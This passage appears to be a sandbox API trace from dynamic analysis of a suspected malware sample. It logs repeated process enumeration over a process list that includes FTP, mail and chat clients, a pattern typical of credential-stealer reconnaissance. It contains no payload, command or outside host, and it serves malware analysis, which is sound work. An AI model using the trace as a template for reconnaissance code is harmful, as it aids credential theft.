dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0263.141] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0263.143] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0263.145] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0263.148] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0263.151] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0263.153] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0263.156] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.159] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0263.162] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0263.164] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0263.166] CloseHandle (hObject=0x2200) returned 1 [0263.166] Sleep (dwMilliseconds=0x64) [0263.182] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0263.197] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.199] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.235] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.238] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.241] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.243] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.247] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.249] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.251] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.254] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.256] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.258] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.261] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.263] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.264] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.266] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.268] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.270] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.272] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.274] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.275] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.277] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.279] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.280] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.282] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0263.284] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0263.286] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.288] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.290] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.292] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.295] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.298] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.301] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0263.303] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.305] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.307] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.309] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0263.311] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.313] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0263.315] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0263.317] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0263.319] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0263.321] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0263.323] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0263.324] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0263.326] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0263.328] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0263.361] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0263.363] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0263.365] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0263.366] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0263.368] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0263.370] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0263.372] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0263.405] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0263.406] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0263.408] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0263.410] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0263.412] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0263.414] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0263.417] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0263.419] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0263.424] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0263.428] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0263.431] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0263.434] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0263.436] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0263.438] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0263.441] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0263.443] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0263.445] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0263.449] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0263.452] Process32Next (in: 